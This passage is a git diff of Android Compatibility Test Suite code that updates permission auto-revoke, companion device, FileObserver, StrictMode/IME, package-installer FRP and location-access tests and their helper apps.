-                runAutoRevoke()
-                Thread.sleep(500L)
-
-                // Verify
-                assertPermission(PERMISSION_GRANTED, APK_WHITELISTED_PACKAGE_NAME)
-            }
-        }
-    }
-
-    @AppModeFull(reason = "Uses separate apps for testing")
     fun testInstallGrants_notRevokedImmediately() {
         wakeUpScreen()
         withUnusedThresholdMs(TimeUnit.DAYS.toMillis(30)) {
@@ -303,47 +279,19 @@
     }
 
     private fun assertPermission(state: Int, packageName: String = APK_PACKAGE_NAME) {
-        // For some reason this incorrectly always returns PERMISSION_DENIED
-//        runWithShellPermissionIdentity {
-//            assertEquals(
-//                permissionStateToString(state),
-//                permissionStateToString(context.packageManager.checkPermission(READ_CALENDAR, APK_PACKAGE_NAME)))
-//        }
-
-        try {
-            goToPermissions(packageName)
-
-            waitForIdle()
-            val ui = instrumentation.uiAutomation.rootInActiveWindow
-            val permStateSection = ui.lowestCommonAncestor(
-                    { node -> node.textAsString.equals("Allowed", ignoreCase = true) },
-                    { node -> node.textAsString.equals("Denied", ignoreCase = true) }
-            ).assertNotNull {
-                "Cannot find permissions state section in\n${uiDump(ui)}"
-            }
-            val sectionHeaderIndex = permStateSection.children.indexOfFirst {
-                it?.depthFirstSearch { node ->
-                    node.textAsString.equals(
-                            if (state == PERMISSION_GRANTED) "Allowed" else "Denied",
-                            ignoreCase = true)
-                } != null
-            }
-            permStateSection.getChild(sectionHeaderIndex + 1).depthFirstSearch { node ->
-                node.textAsString.equals("Calendar", ignoreCase = true)
-            }.assertNotNull {
-                "Permission must be ${permissionStateToString(state)}\n${uiDump(ui)}"
-            }
-        } finally {
-            goBack()
-            goBack()
+        runWithShellPermissionIdentity {
+            assertEquals(
+                permissionStateToString(state),
+                permissionStateToString(context.packageManager.checkPermission(READ_CALENDAR, APK_PACKAGE_NAME)))
         }
     }
 
     private fun goToPermissions(packageName: String = APK_PACKAGE_NAME) {
-        context.startActivity(Intent(ACTION_APPLICATION_DETAILS_SETTINGS)
+        context.startActivity(Intent(ACTION_AUTO_REVOKE_PERMISSIONS)
                 .setData(Uri.fromParts("package", packageName, null))
                 .addFlags(FLAG_ACTIVITY_NEW_TASK))
 
+        waitForIdle()
         click("Permissions")
     }
 
diff --git a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
index 4517327..773551b 100644
--- a/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
+++ b/tests/tests/os/src/android/os/cts/CompanionDeviceManagerTest.kt
@@ -17,23 +17,31 @@
 package android.os.cts
 
 import android.companion.CompanionDeviceManager
+import android.content.pm.PackageManager.FEATURE_COMPANION_DEVICE_SETUP
 import android.net.MacAddress
 import android.platform.test.annotations.AppModeFull
 import android.test.InstrumentationTestCase
+import androidx.test.InstrumentationRegistry
+import androidx.test.runner.AndroidJUnit4
 import com.android.compatibility.common.util.SystemUtil.runShellCommand
 import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
 import com.android.compatibility.common.util.ThrowingSupplier
+import org.junit.Assume.assumeTrue
+import org.junit.Before
+import org.junit.Test
+import org.junit.runner.RunWith
 
 const val COMPANION_APPROVE_WIFI_CONNECTIONS =
         "android.permission.COMPANION_APPROVE_WIFI_CONNECTIONS"
 const val DUMMY_MAC_ADDRESS = "00:00:00:00:00:10"
 const val MANAGE_COMPANION_DEVICES = "android.permission.MANAGE_COMPANION_DEVICES"
 const val SHELL_PACKAGE_NAME = "com.android.shell"
-val InstrumentationTestCase.context get() = instrumentation.context
+val InstrumentationTestCase.context get() = InstrumentationRegistry.getTargetContext()
 
 /**
  * Test for [CompanionDeviceManager]
  */
+@RunWith(AndroidJUnit4::class)
 class CompanionDeviceManagerTest : InstrumentationTestCase() {
 
     val cdm by lazy { context.getSystemService(CompanionDeviceManager::class.java) }
@@ -58,7 +66,13 @@
         }, *permissions)
     }
 
+    @Before
+    fun assumeHasFeature() {
+        assumeTrue(context.packageManager.hasSystemFeature(FEATURE_COMPANION_DEVICE_SETUP))
+    }
+
     @AppModeFull(reason = "Companion API for non-instant apps only")
+    @Test
     fun testIsDeviceAssociated() {
         val userId = context.userId
         val packageName = context.packageName
@@ -78,6 +92,7 @@
     }
 
     @AppModeFull(reason = "Companion API for non-instant apps only")
+    @Test
     fun testIsDeviceAssociatedWithCompanionApproveWifiConnectionsPermission() {
         assertTrue(isCdmAssociated(
             DUMMY_MAC_ADDRESS, SHELL_PACKAGE_NAME, MANAGE_COMPANION_DEVICES,
diff --git a/tests/tests/os/src/android/os/cts/FileObserverTest.java b/tests/tests/os/src/android/os/cts/FileObserverTest.java
index 9e61066..4c183e2 100644
--- a/tests/tests/os/src/android/os/cts/FileObserverTest.java
+++ b/tests/tests/os/src/android/os/cts/FileObserverTest.java
@@ -146,9 +146,9 @@
             expected = new int[] {UNDEFINED};
             moveEvents = waitForEvent(fileObserver);
             if (isEmulated)
-                assertEventsContains(expected, moveEvents);
+                assertEventsContains(testFile, expected, moveEvents);
             else
-                assertEventsEquals(expected, moveEvents);
+                assertEventsEquals(testFile, expected, moveEvents);
         } finally {
             fileObserver.stopWatching();
             if (out != null)
@@ -185,9 +185,9 @@
             };
             moveEvents = waitForEvent(movedFileObserver);
             if (isEmulated) {
-                assertEventsContains(expected, moveEvents);
+                assertEventsContains(testFile, expected, moveEvents);
             } else {
-                assertEventsEquals(expected, moveEvents);
+                assertEventsEquals(testFile, expected, moveEvents);
             }
         } finally {
             movedFileObserver.stopWatching();
@@ -213,9 +213,9 @@
 
         final FileEvent[] moveEvents = waitForEvent(fileObserver);
         if (isEmulated) {
-            assertEventsContains(expected, moveEvents);
+            assertEventsContains(testFile, expected, moveEvents);
         } else {
-            assertEventsEquals(expected, moveEvents);
+            assertEventsEquals(testFile, expected, moveEvents);
         }
     }
 
@@ -238,9 +238,9 @@
 
         final FileEvent[] moveEvents = waitForEvent(fileObserver);
         if (isEmulated) {
-            assertEventsContains(expected, moveEvents);
+            assertEventsContains(testFile, expected, moveEvents);
         } else {
-            assertEventsEquals(expected, moveEvents);
+            assertEventsEquals(testFile, expected, moveEvents);
         }
     }
 
@@ -311,26 +311,30 @@
         }
     }
 
-    private void assertEventsEquals(final int[] expected, final FileEvent[] moveEvents) {
+    private void assertEventsEquals(
+            File testFile, final int[] expected, final FileEvent[] moveEvents) {
         List<Integer> expectedEvents = new ArrayList<Integer>();
         for (int i = 0; i < expected.length; i++) {
             expectedEvents.add(expected[i]);
         }
         List<FileEvent> actualEvents = Arrays.asList(moveEvents);
-        String message = "Expected: " + expectedEvents + " Actual: " + actualEvents;
+        String message = "For test file [" + testFile.getAbsolutePath()
+                + "] expected: " + expectedEvents + " Actual: " + actualEvents;
         assertEquals(message, expected.length, moveEvents.length);
         for (int i = 0; i < expected.length; i++) {
             assertEquals(message, expected[i], moveEvents[i].event);
         }
     }
 
-    private void assertEventsContains(final int[] expected, final FileEvent[] moveEvents) {
+    private void assertEventsContains(
+            File testFile, final int[] expected, final FileEvent[] moveEvents) {
         List<Integer> expectedEvents = new ArrayList<Integer>();
         for (int i = 0; i < expected.length; i++) {
             expectedEvents.add(expected[i]);
         }
         List<FileEvent> actualEvents = Arrays.asList(moveEvents);
-        String message = "Expected to contain: " + expectedEvents + " Actual: " + actualEvents;
+        String message = "For test file [" + testFile.getAbsolutePath()
+                + "] expected: " + expectedEvents + " Actual: " + actualEvents;
         int j = 0;
         for (int i = 0; i < expected.length; i++) {
             while (expected[i] != moveEvents[j].event) {
diff --git a/tests/tests/os/src/android/os/cts/SimpleTestActivity.java b/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
index 42423156..22c706fe 100644
--- a/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
+++ b/tests/tests/os/src/android/os/cts/SimpleTestActivity.java
@@ -16,7 +16,30 @@
 
 package android.os.cts;
 
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
+
 import android.app.Activity;
+import android.os.Bundle;
+import android.widget.EditText;
+import android.widget.LinearLayout;
 
 public class SimpleTestActivity extends Activity {
+    private EditText mEditText;
+
+    @Override
+    protected void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        mEditText = new EditText(this);
+        final LinearLayout layout = new LinearLayout(this);
+        layout.setOrientation(LinearLayout.VERTICAL);
+        layout.addView(mEditText);
+        setContentView(layout);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+        mEditText.requestFocus();
+    }
 }
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/StrictModeTest.java b/tests/tests/os/src/android/os/cts/StrictModeTest.java
index a591148..a50fd5a 100644
--- a/tests/tests/os/src/android/os/cts/StrictModeTest.java
+++ b/tests/tests/os/src/android/os/cts/StrictModeTest.java
@@ -17,9 +17,15 @@
 package android.os.cts;
 
 import static android.content.Context.WINDOW_SERVICE;
+import static android.content.pm.PackageManager.FEATURE_INPUT_METHODS;
 import static android.view.Display.DEFAULT_DISPLAY;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
 
+import static com.android.cts.mockime.ImeEventStreamTestUtils.clearAllEvents;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
+
 import static com.google.common.truth.Truth.assertThat;
 import static com.google.common.truth.Truth.assertWithMessage;
 
@@ -32,7 +38,9 @@
 import android.content.Intent;
 import android.content.ServiceConnection;
 import android.content.pm.PackageManager;
+import android.content.res.Configuration;
 import android.hardware.display.DisplayManager;
+import android.inputmethodservice.InputMethodService;
 import android.net.TrafficStats;
 import android.net.Uri;
 import android.os.IBinder;
@@ -61,10 +69,16 @@
 import android.view.ViewConfiguration;
 import android.view.WindowManager;
 
+import androidx.annotation.IntDef;
 import androidx.test.core.app.ApplicationProvider;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.cts.mockime.ImeEvent;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -76,6 +90,8 @@
 import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
 import java.net.HttpURLConnection;
 import java.net.Socket;
 import java.net.URL;
@@ -94,10 +110,52 @@
 public class StrictModeTest {
     private static final String TAG = "StrictModeTest";
     private static final String REMOTE_SERVICE_ACTION = "android.app.REMOTESERVICE";
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(10); // 10 seconds
+    private static final long NOT_EXPECT_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
 
     private StrictMode.ThreadPolicy mThreadPolicy;
     private StrictMode.VmPolicy mVmPolicy;
 
+    // TODO(b/160143006): re-enable IMS part test.
+    private static final boolean DISABLE_VERIFY_IMS = false;
+
+    /**
+     * Verify mode to verifying if APIs violates incorrect context violation.
+     *
+     * @see #VERIFY_MODE_GET_DISPLAY
+     * @see #VERIFY_MODE_GET_WINDOW_MANAGER
+     * @see #VERIFY_MODE_GET_VIEW_CONFIGURATION
+     */
+    @Retention(RetentionPolicy.SOURCE)
+    @IntDef(flag = true, value = {
+            VERIFY_MODE_GET_DISPLAY,
+            VERIFY_MODE_GET_WINDOW_MANAGER,
+            VERIFY_MODE_GET_VIEW_CONFIGURATION,
+    })
+    private @interface VerifyMode {}
+
+    /**
+     * Verifies if {@link Context#getDisplay} from {@link InputMethodService} and context created
+     * from {@link InputMethodService#createConfigurationContext(Configuration)} violates
+     * incorrect context violation.
+     */
+    private static final int VERIFY_MODE_GET_DISPLAY = 1;
+    /**
+     * Verifies if get {@link android.view.WindowManager} from {@link InputMethodService} and
+     * context created from {@link InputMethodService#createConfigurationContext(Configuration)}
+     * violates incorrect context violation.
+     *
+     * @see Context#getSystemService(String)
+     * @see Context#getSystemService(Class)
+     */
+    private static final int VERIFY_MODE_GET_WINDOW_MANAGER = 2;
+    /**
+     * Verifies if passing {@link InputMethodService} and context created
+     * from {@link InputMethodService#createConfigurationContext(Configuration)} to
+     * {@link android.view.ViewConfiguration#get(Context)} violates incorrect context violation.
+     */
+    private static final int VERIFY_MODE_GET_VIEW_CONFIGURATION = 3;
+
     private Context getContext() {
         return ApplicationProvider.getApplicationContext();
     }
@@ -645,6 +703,9 @@
         final Activity activity = InstrumentationRegistry.getInstrumentation()
                 .startActivitySync(intent);
         assertNoViolation(() -> activity.getSystemService(WINDOW_SERVICE));
+
+        // TODO(b/159593676): move the logic to CtsInputMethodTestCases
+        verifyIms(VERIFY_MODE_GET_WINDOW_MANAGER);
     }
 
     @Test
@@ -667,10 +728,13 @@
 
         Intent intent = new Intent(getContext(), SimpleTestActivity.class);
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
         final Activity activity = InstrumentationRegistry.getInstrumentation()
                 .startActivitySync(intent);
         assertNoViolation(() -> activity.getDisplay());
 
+        // TODO(b/159593676): move the logic to CtsInputMethodTestCases
+        verifyIms(VERIFY_MODE_GET_DISPLAY);
         try {
             getContext().getApplicationContext().getDisplay();
         } catch (UnsupportedOperationException e) {
@@ -689,14 +753,14 @@
 
         final Context baseContext = getContext();
         assertViolation(
-                "Tried to access UI constants from a non-visual Context.",
+                "Tried to access UI constants from a non-visual Context:",
                 () -> ViewConfiguration.get(baseContext));
 
         final Display display = baseContext.getSystemService(DisplayManager.class)
                 .getDisplay(DEFAULT_DISPLAY);
         final Context displayContext = baseContext.createDisplayContext(display);
         assertViolation(
-                "Tried to access UI constants from a non-visual Context.",
+                "Tried to access UI constants from a non-visual Context:",
                 () -> ViewConfiguration.get(displayContext));
 
         final Context windowContext =
@@ -708,6 +772,57 @@
         final Activity activity = InstrumentationRegistry.getInstrumentation()
                 .startActivitySync(intent);
         assertNoViolation(() -> ViewConfiguration.get(activity));
+
+        // TODO(b/159593676): move the logic to CtsInputMethodTestCases
+        verifyIms(VERIFY_MODE_GET_VIEW_CONFIGURATION);
+    }
+
+    // TODO(b/159593676): move the logic to CtsInputMethodTestCases
+    /**
+     * Verify if APIs violates incorrect context violations by {@code mode}.
+     *
+     * @see VerifyMode
+     */
+    private void verifyIms(@VerifyMode int mode) throws Exception {
+        // If devices do not support installable IMEs, finish the test gracefully. We don't use
+        // assumeTrue here because we do pass some cases, so showing "pass" instead of "skip" makes
+        // sense here.
+        // TODO(b/160143006): re-enable IMS part test.
+        if (!supportsInstallableIme() || DISABLE_VERIFY_IMS) {
+            return;
+        }
+
+        try (final MockImeSession imeSession = MockImeSession.create(getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder().setStrictModeEnabled(true))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
+            final ImeEventStream forkedStream = clearAllEvents(stream, "onStrictModeViolated");
+            final ImeEvent imeEvent;
+            switch (mode) {
+                case VERIFY_MODE_GET_DISPLAY:
+                    imeEvent = expectCommand(forkedStream, imeSession.callVerifyGetDisplay(),
+                            TIMEOUT);
+                    break;
+                case VERIFY_MODE_GET_WINDOW_MANAGER:
+                    imeEvent = expectCommand(forkedStream, imeSession.callVerifyGetWindowManager(),
+                            TIMEOUT);
+                    break;
+                case VERIFY_MODE_GET_VIEW_CONFIGURATION:
+                    imeEvent = expectCommand(forkedStream,
+                            imeSession.callVerifyGetViewConfiguration(), TIMEOUT);
+                    break;
+                default:
+                    imeEvent = null;
+            }
+            assertTrue(imeEvent.getReturnBooleanValue());
+            notExpectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
+                    NOT_EXPECT_TIMEOUT);
+        }
+    }
+
+    private boolean supportsInstallableIme() {
+        return getContext().getPackageManager().hasSystemFeature(FEATURE_INPUT_METHODS);
     }
 
     private static void runWithRemoteServiceBound(Context context, Consumer<ISecondary> consumer)
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
index 9a24968..33a8966 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/IntentTest.kt
@@ -24,9 +24,6 @@
 import androidx.test.InstrumentationRegistry
 import androidx.test.runner.AndroidJUnit4
 
-import com.android.compatibility.common.util.SystemUtil.runShellCommand
-import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
-
 import org.junit.After
 import org.junit.Assert.assertEquals
 import org.junit.Test
@@ -42,12 +39,6 @@
 class IntentTest : PackageInstallerTestBase() {
     private val context = InstrumentationRegistry.getTargetContext()
 
-    private fun setSecureFrp(secureFrp: Boolean) {
-        runWithShellPermissionIdentity {
-            runShellCommand("settings put secure secure_frp_mode ${if (secureFrp) 1 else 0}")
-        }
-    }
-
     @After
     fun disableSecureFrp() {
         setSecureFrp(false)
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
index ad7c7fd..45eb038 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/PackageInstallerTestBase.kt
@@ -198,6 +198,11 @@
         uiDevice.executeShellCommand("settings put secure $secureSetting $value")
     }
 
+    fun setSecureFrp(secureFrp: Boolean) {
+        uiDevice.executeShellCommand("settings --user 0 " +
+                "put secure secure_frp_mode ${if (secureFrp) 1 else 0}")
+    }
+
     @After
     fun unregisterInstallResultReceiver() {
         try {
diff --git a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
index 24a1128..69096f8 100644
--- a/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
+++ b/tests/tests/packageinstaller/install/src/android/packageinstaller/install/cts/SessionTest.kt
@@ -98,7 +98,7 @@
     @Test
     fun confirmFrpInstallationFails() {
         try {
-            setSecureSetting("secure_frp_mode", 1)
+            setSecureFrp(true)
 
             try {
                 val installation = startInstallationViaSession()
@@ -111,7 +111,7 @@
             // Install should never have started
             assertNotInstalled()
         } finally {
-            setSecureSetting("secure_frp_mode", 0)
+            setSecureFrp(false)
         }
     }
 }
diff --git a/tests/tests/permission/Android.bp b/tests/tests/permission/Android.bp
index c869fab..376c579 100644
--- a/tests/tests/permission/Android.bp
+++ b/tests/tests/permission/Android.bp
@@ -38,7 +38,11 @@
         "libctspermission_jni",
         "libnativehelper_compat_libc++",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.aidl",
+        "src/**/*.kt",
+    ],
     sdk_version: "test_current",
     libs: [
         "android.test.runner.stubs",
diff --git a/tests/tests/permission/AndroidTest.xml b/tests/tests/permission/AndroidTest.xml
index 102741c..80becf34 100644
--- a/tests/tests/permission/AndroidTest.xml
+++ b/tests/tests/permission/AndroidTest.xml
@@ -19,6 +19,8 @@
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
 
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.Sdk30ModuleController" />
+
     <!-- Install main test suite apk -->
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
@@ -61,6 +63,7 @@
         <option name="push" value="CtsInstalltimePermissionDefinerApp.apk->/data/local/tmp/cts/permissions/CtsInstalltimePermissionDefinerApp.apk" />
         <option name="push" value="CtsInstalltimePermissionUserApp.apk->/data/local/tmp/cts/permissions/CtsInstalltimePermissionUserApp.apk" />
         <option name="push" value="CtsAppThatRequestsOneTimePermission.apk->/data/local/tmp/cts/permissions/CtsAppThatRequestsOneTimePermission.apk" />
+        <option name="push" value="AppThatDefinesUndefinedPermissionGroupElement.apk->/data/local/tmp/cts/permissions/AppThatDefinesUndefinedPermissionGroupElement.apk" />
     </target_preparer>
 
     <!-- Remove additional apps if installed -->
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
index d9432c8..04faf1b 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/Android.bp
@@ -24,5 +24,8 @@
         "vts10",
         "general-tests",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.aidl"
+    ],
 }
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
index 77e9f9a..b248f3ca 100644
--- a/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/AccessLocationOnCommand.java
@@ -24,42 +24,47 @@
 import android.location.Location;
 import android.location.LocationListener;
 import android.location.LocationManager;
-import android.os.Binder;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.IBinder;
+import android.os.Looper;
 
 public class AccessLocationOnCommand extends Service {
     // Longer than the STATE_SETTLE_TIME in AppOpsManager
     private static final long BACKGROUND_ACCESS_SETTLE_TIME = 11000;
 
-    private void getLocation() {
-        Criteria crit = new Criteria();
-        crit.setAccuracy(ACCURACY_FINE);
+    private IAccessLocationOnCommand.Stub mBinder = new IAccessLocationOnCommand.Stub() {
+        public void accessLocation() {
+            new Handler(Looper.getMainLooper()).postDelayed(() -> {
+                Criteria crit = new Criteria();
+                crit.setAccuracy(ACCURACY_FINE);
 
-        getSystemService(LocationManager.class).requestSingleUpdate(crit, new LocationListener() {
-            @Override
-            public void onLocationChanged(Location location) {
-            }
+                AccessLocationOnCommand.this.getSystemService(LocationManager.class)
+                        .requestSingleUpdate(crit, new LocationListener() {
+                            @Override
+                            public void onLocationChanged(Location location) {
+                            }
 
-            @Override
-            public void onStatusChanged(String provider, int status, Bundle extras) {
-            }
+                            @Override
+                            public void onStatusChanged(String provider, int status,
+                                    Bundle extras) {
+                            }
 
-            @Override
-            public void onProviderEnabled(String provider) {
-            }
+                            @Override
+                            public void onProviderEnabled(String provider) {
+                            }
 
-            @Override
-            public void onProviderDisabled(String provider) {
-            }
-        }, null);
-    }
+                            @Override
+                            public void onProviderDisabled(String provider) {
+                            }
+                        }, null);
+            }, BACKGROUND_ACCESS_SETTLE_TIME);
+        }
+    };
 
     @Override
     public IBinder onBind(Intent intent) {
-        (new Handler()).postDelayed(this::getLocation, BACKGROUND_ACCESS_SETTLE_TIME);
-        return new Binder();
+        return mBinder;
     }
 
     @Override
diff --git a/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl
new file mode 100644
index 0000000..be92ed1
--- /dev/null
+++ b/tests/tests/permission/AppThatAccessesLocationOnCommand/src/android/permission/cts/appthataccesseslocation/IAccessLocationOnCommand.aidl
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts.appthataccesseslocation;
+
+interface IAccessLocationOnCommand {
+    /** Access location on command */
+    void accessLocation();
+}
\ No newline at end of file
diff --git a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
similarity index 87%
rename from tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
rename to tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
index d957080..c8fd250 100644
--- a/tests/tests/os/AutoRevokeWhitelistedDummyApp/Android.bp
+++ b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/Android.bp
@@ -15,16 +15,14 @@
 //
 
 android_test_helper_app {
-    name: "CtsAutoRevokeWhitelistedDummyApp",
+    name: "AppThatDefinesUndefinedPermissionGroupElement",
     defaults: ["cts_defaults"],
     sdk_version: "test_current",
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
-        "vts",
         "vts10",
-        "mts",
         "general-tests",
     ],
-    srcs: ["src/**/*.java", "src/**/*.kt"],
+    srcs: ["src/**/*.kt"],
 }
diff --git a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/AndroidManifest.xml b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/AndroidManifest.xml
new file mode 100644
index 0000000..171d331
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.permission.cts.appthatrequestpermission"
+    android:versionCode="2">
+
+    <permission
+        android:name="android.permission.cts.appthatrequestpermission.TEST"
+        android:protectionLevel="dangerous"
+        android:permissionGroup="android.permission-group.UNDEFINED" />
+
+    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+    <uses-permission android:name="android.permission.cts.appthatrequestpermission.TEST" />
+
+    <application android:label="CtsPermissionUnknownGroup">
+        <activity
+            android:name=".RequestPermissions"
+            android:exported="true"/>
+    </application>
+</manifest>
+
diff --git a/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/src/android/permission/cts/appthatrequestpermission/RequestPermissions.kt b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/src/android/permission/cts/appthatrequestpermission/RequestPermissions.kt
new file mode 100644
index 0000000..39183a8
--- /dev/null
+++ b/tests/tests/permission/AppThatDefinesUndefinedPermissionGroupElement/src/android/permission/cts/appthatrequestpermission/RequestPermissions.kt
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.permission.cts.appthatrequestpermission
+
+import android.app.Activity
+
+class RequestPermissions : Activity() {
+    override fun onStart() {
+        super.onStart()
+        val permissions = intent.getStringArrayExtra(EXTRA_PERMISSIONS)!!
+        requestPermissions(permissions, 0)
+    }
+
+    override fun onRequestPermissionsResult(
+        requestCode: Int,
+        permissions: Array<String>,
+        grantResults: IntArray
+    ) {
+        finish()
+    }
+
+    companion object {
+        private const val EXTRA_PERMISSIONS =
+                "android.permission.cts.appthatrequestpermission.extra.PERMISSIONS"
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/permission/OWNERS b/tests/tests/permission/OWNERS
index 7ad5960..a383144 100644
--- a/tests/tests/permission/OWNERS
+++ b/tests/tests/permission/OWNERS
@@ -6,3 +6,4 @@
 per-file MainlineNetworkStackPermissionTest.java = file: platform/frameworks/base:/services/net/OWNERS
 per-file Camera2PermissionTest.java = file: platform/frameworks/av:/camera/OWNERS
 per-file OneTimePermissionTest.java, AppThatRequestOneTimePermission/... = evanseverson@google.com
+per-file LocationAccessCheckTest.java = ntmyren@google.com
diff --git a/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java b/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java
index 947e59a..1837b32 100644
--- a/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java
+++ b/tests/tests/permission/src/android/permission/cts/ActivityPermissionRationaleTest.java
@@ -84,7 +84,8 @@
 
     @Before
     public void clearData() {
-        runShellCommand("pm clear android.permission.cts.appthatrunsrationaletests");
+        runShellCommand("pm clear --user " + sContext.getUserId()
+                + " android.permission.cts.appthatrunsrationaletests");
